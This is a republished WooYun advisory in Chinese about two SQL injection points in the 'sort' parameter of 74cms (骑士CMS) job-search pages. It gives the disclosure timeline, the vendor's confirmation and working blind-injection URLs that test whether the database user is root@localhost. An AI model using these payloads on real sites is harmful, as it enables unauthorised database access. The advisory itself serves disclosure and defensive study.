骑士CMS某接口2处SQL注入 admin 104609文章 87评论 2015年7月31日08:24:23评论267 views字数 202阅读0分40秒阅读模式 摘要2014-11-05： 细节已通知厂商并且等待厂商处理中 2014-11-08： 厂商已经确认，细节仅向厂商公开 2014-11-11： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息） 2015-01-02： 细节向核心白帽子及相关领域专家公开 2015-01-12： 细节向普通白帽子公开 2015-01-22： 细节向实习白帽子公开 2015-02-03： 细节向公众公开 漏洞概要 关注数(2) 关注此漏洞 缺陷编号： WooYun-2014-81822 漏洞标题： 骑士CMS某接口2处SQL注入 相关厂商： 74cms.com 漏洞作者： 龟兔赛跑 提交时间： 2014-11-05 16:43 公开时间： 2015-02-03 16:44 漏洞类型： SQL注射漏洞 危害等级： 高 自评Rank： 10 漏洞状态： 厂商已经确认 漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系 Tags标签： 无 0人收藏 漏洞详情 披露状态： 2014-11-05： 细节已通知厂商并且等待厂商处理中 2014-11-08： 厂商已经确认，细节仅向厂商公开 2014-11-11： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息） 2015-01-02： 细节向核心白帽子及相关领域专家公开 2015-01-12： 细节向普通白帽子公开 2015-01-22： 细节向实习白帽子公开 2015-02-03： 细节向公众公开 简要描述： 骑士CMS某接口2处SQL注入，官网测试。 详细说明： 首页 >> 招聘信息 点击搜索， 这里有三个接口存在SQL注入。 0x01: code 区域 http://**.**.**.**/jobs/jobs-list.php?sort=wage&page=1&jobcategory=&education=&citycategory=&experience=&settr=3&trade=&wage=&nature= 参数sort存在SQL注入： code 区域 http://**.**.**.**/jobs/jobs-list.php?sort=wage%3Easc,if(strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),%20id,wage)%20limit%201%23&page=1&jobcategory=&education=&citycategory=&experience=&settr=&trade=&wage=&nature= 盲注： 正确的情况： code 区域 http://**.**.**.**/jobs/jobs-list.php?sort=wage%3Easc,if(strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),id,wage)%23&page=1&jobcategory=&education=&citycategory=&experience=&settr=&trade=&wage=&nature= 错误的情况： code 区域 http://**.**.**.**/jobs/jobs-list.php?sort=wage%3Easc,if(strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),%20id,wage)%20limit%201%23&page=1&jobcategory=&education=&citycategory=&experience=&settr=&trade=&wage=&nature= 0x02: 接口： code 区域 http://**.**.**.**/jobs/street-search.php?sort=wage&page=1&streetid=&inforow= code 区域 http://**.**.**.**/jobs/street-search.php?sort=wage%3Edesc%27&page=1&streetid=&inforow= sort参数存在SQL注入 OK的情况： code 区域 http://**.**.**.**/jobs/street-search.php?sort=hot%3Easc,if(strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),id,click)%20limit%201%23&page=1&streetid=&inforow= NG的情况： code 区域 http://**.**.**.**/jobs/street-search.php?sort=hot%3Easc,if(strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),id,click)%20limit%201%23&page=1&streetid=&inforow= 漏洞证明： 修复方案： 过滤参数 版权声明：转载请注明来源 龟兔赛跑@乌云 漏洞回应 厂商回应： 危害等级：高 漏洞Rank：15 确认时间：2014-11-08 12:23 厂商回复： 感谢反馈！ 最新状态： 暂无 漏洞评价： 对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值 漏洞评价(共0人评价): 登陆后才能进行评分 评价 点赞 http://cn-sec.com/archives/35799.html 复制链接 复制链接 左青龙 微信扫一扫 右白虎 微信扫一扫
评论